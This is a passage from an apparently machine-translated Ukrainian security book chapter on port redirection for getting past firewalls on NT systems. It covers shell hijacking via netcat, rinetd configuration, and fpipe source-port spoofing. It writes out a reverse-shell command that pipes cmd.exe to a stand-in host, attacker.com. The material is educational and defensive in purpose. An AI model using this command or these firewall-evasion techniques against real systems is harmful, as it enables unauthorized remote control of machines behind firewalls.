Перенаправлення портів
Вище було розглянуто декілька програм, які можна використовувати для видаленого управління з командного рядка. Всі ці засоби обговорювалися в контексті установки безпосереднього видаленого з'єднання. Проте, що робити в тій ситуації, коли брандмауер блокує прямий доступ до цільового комп'ютера? Подібну перешкоду зломщики можуть обійти за допомогою перенаправлення портів (port redirection). Це питання детально буде викладено в розділі 14, проте зараз ми познайомимося з деякими засобами і прийомами, які можуть виявитися корисними для хакинга комп'ютерів під управлінням системи NT.
Як тільки зломщики успішно справилися з "головним вартовим" безпеки — брандмауером, — для передачі всіх пакетів "бажаній меті" вони можуть скористатися механізмом перенаправлення портів. Важливо оцінити всю небезпеку подібної діяльності, оскільки в даному випадку зломщики можуть дістати доступ до будь-якого комп'ютера, розташованого позаду брандмауера. В процесі перенаправлення здійснюється прослуховування певних портів і передача пакетів до заданої вторинної мети. Нижче будуть розглянуті деякі прийоми перенаправлення портів, які можна уручну здійснити за допомогою утиліт netcat, rinetd і fpipe.
Схема процесу перенаправлення портів представлена на мал. 14.4 в розділі 14.
Захоплення командної оболонки м допомогою netcat
Якщо є можливість помістити утиліту netcat на цільовий комп'ютер, розташований позаду брандмауера, то через будь-який необхідний порт можна отримати "в своє розпорядження" видалену командну оболонку. Таку ситуацію ми називаємо "захопленням оболонки", оскільки в цьому випадку на робочому комп'ютері зломщика зосереджуються всі функції оболонки видаленої системи. Ось приклад команди, запущеної зломщиком з видаленого командного рядка.
nс attacker.com 80 | cmd.exe | nс attacker.com 25
Якщо хакер
на своєму комп'ютері attacker.com за допомогою утиліти netcat здійснює прослуховування TCP-портов 80 і 25, і при цьому порт 80 вирішує передачу тих, що входять, а порт 25 — витікаючих пакетів на/с комп'ютера-жертви через брандмауер, то ця команда дозволяє "захопити" командну оболонку видаленої системи. На мал. 5.9 показаний приклад екрану хакреської системи: у верхньому вікні містяться вхідні команди, передавані через порт 80 (ipconfig), а в нижньому вікні представлені результати, отримані з вузла-жертви через порт 25.
Мал. 5.9. Використовуючи утиліту netcat на комп'ютері зломщика і на цільовому вузлі, можна захопити командну оболонку. Команди, введені у верхньому вікні на малюнку, виконуються на видаленій системі, а результати відображаються в нижньому вікні
Утиліта rinetd
Реалізація перенаправлення портів за допомогою трьох настроєних уручну сеансів netcat може опинитися далеко не якнайкращим способом. Для цього можна скористатися різними утилітами, спеціально призначеними для перенаправлення портів. Ці кошти можна знайти в Internet. Однією з найбільш могутніх утиліт є rinetd — сервер перенаправлення Internet Томаса Боутела (Thomas Boutell), який можна знайти за адресою
http://www.boutell.com/rinetd/index.html. З її допомогою можна перенаправити TCP-соединения з однієї IP-адреса і порту на іншій. Утиліта rinetd функціонує подібно datapipe (див. розділ 14). Існує також версія, що підтримує інтерфейс Win32 (включаючи 2000), а також Linux. Утиліту rinetd дуже легко використовувати: досить просто створити конфігураційний файл, що містить правила передачі пакетів, в наступному форматі.
адрес_прівязки порт_прівязки адрес_соєдіненія порт_соєдіненія
Потім потрібно запустити команду rinetd -с <імя_файла_настройки>. Як і утиліта netcat, rinetd функціонує через неправильно настроєний брандмауер.
Утиліта fpipe
Утиліта
fpipe — засіб передачі/перенаправлення початкових пакетів TCP через заданий порт. Вона розроблена в компанії Foundstone, Inc., до якої автори цієї книги мають безпосереднє відношення. Утиліта fpipe дозволяє створити потік TCP і додатково задати необхідний початковий порт. Її зручно застосовувати для тестового проникнення через брандмауери, що вирішують проходження певних типів пакетів у внутрішню мережу.
Робота утиліти fpipe заснована на перенаправленні портів. Запустите її, задавши порт сервера, що прослуховується, порт призначення видаленого вузла (порт, якого потрібно досягти з внутрішньої сторони брандмауера) і (додатково) номер необхідного локального початкового порту. Після запуску утиліта fpipe чекатиме, поки клієнт з'єднається з портом, що прослуховується. Після цього будуть встановлено нове з'єднання з цільовим комп'ютером і портом, заданим як локальний початковий порт. Таким чином буде активізований замкнутий контур. Після установки повного з'єднання утиліта fpipe передаватиме всі дані, отримані через вхідне з'єднання, на видалений порт призначення, розташований позаду брандмауера, і повертати їх назад системі-ініціаторові. Це аналогічно установці декількох сеансів netcat, проте утиліта fpipe дозволяє виконати те ж завдання абсолютно прозоро.
Розглянемо використання
утиліти fpipe для перенаправлення даних із зламаної системи із запущеним сервером telnet, розташованою позаду брандмауера, на якому заблокований порт 23 (telnet), проте відкритий порт 53 (DNS), Як правило, підключитися до TCP-порту, використовуваного сервером telnet, безпосередньо не можна. Проте при використанні утиліти fpipe і переправленні даних в порт TCP 53 це завдання все ж таки можна виконати. На мал. 5.10 показано перенаправлення даних з використанням утиліти fpipe, запущеною на цільовому вузлі.
Просте з'єднання з портом 53 на цьому вузлі дозволяє "захопити" зломщикові потік telnet.
Мал. 5.10. Утиліта перенаправлення fpipe, запущена на видаленому вузлі
Найприкметнішою особливістю утиліти fpipe є можливість задати початковий порт. В процесі тестового проникнення це часто необхідно для обходу брандмауера або маршрутизатора, передавального лише дані, призначені певним портам (наприклад, порту TCP 25, використовуваному поштовим сервером). Зазвичай клієнтським з'єднанням Tcp/ip призначаються початкові порти з великими номерами, які брандмауер, як правило, пропускає через фільтр. Проте той же брандмауер повинен пропускати дані DNS (фактично, він це і робить). За допомогою утиліти fpipe для потоку даних можна примусово задати певний початковий порт, в даному випадку порт DNS. З цієї миті цей потік розглядатиметься брандмауером як дані "дозволеної" служби і, таким чином, пропускатиметься у внутрішню мережу.
Користувачі повинні знати, що якщо при завданні порту-джерела витікаючого з'єднання був використаний параметр -в і це з'єднання було закрито, може виявитися неможливим встановити його повторно (утиліта fpipe повідомить, що адреса вже використовується) до того моменту, поки не закінчаться інтервали очікування TIMEJHAIT і CLOSEJHAIT, визначувані протоколом TCP. Ці інтервали очікування можуть варіюватися в діапазоні від 30 секунд до чотирьох хвилин і більш, залежно від використовуваної операційної системи і її версії. Ці інтервали очікування визначаються протоколом TCP і не є обмеженням самої утиліти fpipe. Причина виникнення такої ситуації полягає в тому, що утиліта fpipe намагається встановити нове з'єднання з видаленим вузлом із застосуванням тих же комбінацій локальних/удаленних адреси/порту IP, що і в попередньому сеансі. Нове ж з'єднання не може бути встановлене до тих пір, поки стеком протоколів TCP не буде вирішено, що попереднє з'єднання не було повністю завершене.
|